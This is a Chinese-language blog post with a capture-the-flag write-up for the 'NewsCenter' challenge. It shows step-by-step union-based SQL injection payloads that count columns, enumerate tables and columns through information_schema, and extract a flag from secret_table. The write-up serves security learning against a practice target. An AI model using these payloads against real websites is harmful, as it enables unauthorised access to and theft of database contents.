攻防世界-NewsCenter

打开实验环境:

 

 

 

 输入 1 回显是这样的:

 

 

输入 1'  回显:

 

尝试构造pyload:   1' order by 3#

 

 

再次尝试构造pyload:  1' order by 4#

 

 猜测是 单引号过滤,当前数据表 列数 为 3 , 构造 pyload 差数据库名:    1' union select 1,database(),'3

 

  •  当前数据库名为 : news

 

构造pyload 取表名: 

1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),'3

 

 

构造pyload取 secret_table 表的字段:

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='secret_table'),'3

 

 

构造pylaod 取值:

1' union select 1,(select group_concat(id,0x7e,fl4g) from secret_table),'3

 

 

 

 

拿到 flag:QCTF{sq1_inJec7ion_ezzz}

总结:这题没什么过滤,很正常的一个SQL语句爆表的过程吧!

 

题外话:在之前写过 BUUCTF的随便注,在那里提到过 用 mysql.innodb_table_stats 或 mysql.innodb_index.stats 代替 information_schema.tables

在这里测试了,没有成功;可能是这个环境下 这个 表不存在吧;

 

posted @ 2020-08-19 08:30  友好邻居  阅读(261)  评论(0编辑  收藏  举报